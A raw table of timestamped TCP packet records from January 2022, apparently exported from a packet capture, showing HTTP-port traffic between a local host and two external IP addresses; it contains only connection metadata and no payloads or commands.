Jan 13, 2022 20:51:18.372672081 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372688055 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.372711897 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372750998 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372757912 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.372788906 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372828007 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372833967 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.372865915 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372905970 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372911930 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.372946978 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372984886 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.373004913 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.373023987 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.373063087 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.373070002 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.373102903 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.373141050 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.373145103 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.373178959 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.373217106 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.373222113 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.373259068 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.373295069 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.373306990 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.373336077 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.373387098 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.414344072 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.414398909 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.414453030 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.448453903 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448487043 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448507071 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448528051 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448549986 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448550940 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.448575020 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448584080 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.448600054 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448617935 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.448621988 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448645115 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448659897 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.448667049 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448688030 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448709965 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.448710918 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448733091 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448746920 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.448755980 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448777914 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448792934 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.448800087 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448821068 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448837042 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.448842049 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448863983 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448884010 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.448885918 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448909044 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448929071 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448930979 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.448951006 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448966980 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.448971987 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.448993921 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.449013948 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.449014902 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.449037075 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.449055910 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.449058056 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.449081898 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.449096918 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.449101925 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.449125051 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.449139118 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.449146032 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.449167013 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.449187040 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.449188948 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.449210882 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.449229956 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.449232101 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.449254036 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.449273109 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.449273109 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.449295044 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.449311018 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.449316025 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.449352026 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.451211929 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.451235056 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.451256990 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.451277018 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.451291084 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.451297998 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.451320887 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.451369047 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.489394903 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.489444017 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.489484072 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.489497900 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.489526033 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.489567041 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.489578009 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.489608049 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.489648104 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.489649057 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.489687920 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.489727020 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.489728928 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.489765882 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.489795923 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.489806890 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.535403967 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:21.848608971 CET	49820	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:21.904006004 CET	80	49820	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:21.904102087 CET	49820	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:21.904222965 CET	49820	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:21.904237986 CET	49820	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:21.960777044 CET	80	49820	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:22.075716019 CET	80	49820	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:22.075798035 CET	49820	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:22.075977087 CET	49820	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:22.133320093 CET	80	49820	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:22.141083002 CET	49821	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:22.197097063 CET	80	49821	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:22.197212934 CET	49821	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:22.238528967 CET	49821	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:22.238557100 CET	49821	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:22.294137001 CET	80	49821	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:22.363379002 CET	80	49821	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:22.363744020 CET	49821	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:22.366497040 CET	49821	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:22.423271894 CET	80	49821	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:22.699357033 CET	49822	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:22.755817890 CET	80	49822	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:22.756514072 CET	49822	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:22.756767988 CET	49822	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:22.756783009 CET	49822	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:22.814594030 CET	80	49822	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:22.865253925 CET	80	49822	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:22.866853952 CET	49822	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:22.868071079 CET	49822	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:22.874377012 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:22.924654007 CET	80	49822	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:22.949807882 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:22.949897051 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:22.949933052 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:22.949965000 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:22.949997902 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:22.950031996 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:22.950054884 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:22.950063944 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:22.950094938 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:22.950098038 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:22.950104952 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:22.950131893 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:22.950165033 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:22.950197935 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:22.950248957 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.025312901 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.025372982 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.025412083 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.025451899 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.025451899 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.025496006 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.025518894 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.025536060 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.025577068 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.025605917 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.025615931 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.025657892 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.025686979 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.025696993 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.025746107 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.025785923 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.025815964 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.025825977 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.025911093 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.025950909 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.025952101 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.025991917 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.026021004 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.026035070 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.026072025 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.026099920 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.026110888 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.026150942 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.026177883 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.027724981 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.055061102 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.101237059 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.101294994 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.101334095 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.101380110 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.101402998 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.101443052 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.101475954 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.101480007 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.101514101 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.101516962 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.101557970 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.101594925 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.101634026 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.101672888 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.101675987 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.101716995 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.101749897 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.101753950 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.101794958 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.101831913 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.101896048 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.101963997 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102006912 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102044106 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102082014 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102118015 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.102124929 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102204084 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102232933 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.102243900 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102283955 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102313042 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.102319956 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102360964 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102391958 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.102399111 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102438927 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102472067 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.102490902 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102530003 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102567911 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102582932 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.102598906 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102633953 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.102638960 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102675915 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.102679968 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102718115 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102756977 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102793932 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.102823973 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.102830887 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.103132010 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.105983019 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.106040001 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.106105089 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.127336025 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.127604008 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.127621889 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.177781105 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.177810907 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.177834034 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.177879095 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.177901983 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.177922010 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.177944899 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.177968025 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.177980900 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.177989960 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178013086 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178023100 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178035975 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178054094 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178056002 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178071022 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178087950 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178109884 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178128004 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178143978 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178148985 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178169966 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178194046 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178215027 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178217888 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178236008 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178257942 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178275108 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178278923 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178282022 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178301096 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178303003 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178322077 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178340912 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178349972 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178354979 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178363085 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178384066 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178405046 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178414106 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178426981 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178436041 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178447962 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178471088 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178493023 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178513050 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178529024 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178534985 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178556919 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178565979 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178580046 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178581953 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178601980 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178621054 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178630114 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178642988 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178652048 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178666115 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178682089 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178702116 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178721905 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178730011 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178745031 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178755045 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178766966 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178786993 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178795099 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178813934 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178814888 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178838015 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178858042 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178879023 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178886890 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178900957 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178909063 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178925037 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178947926 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178966999 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.178975105 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.178988934 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.179011106 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.179030895 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.179039955 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.179053068 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.179061890 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.179075956 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.179080009 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.179163933 CET	80	49816	141.8.194.74	192.168.2.5
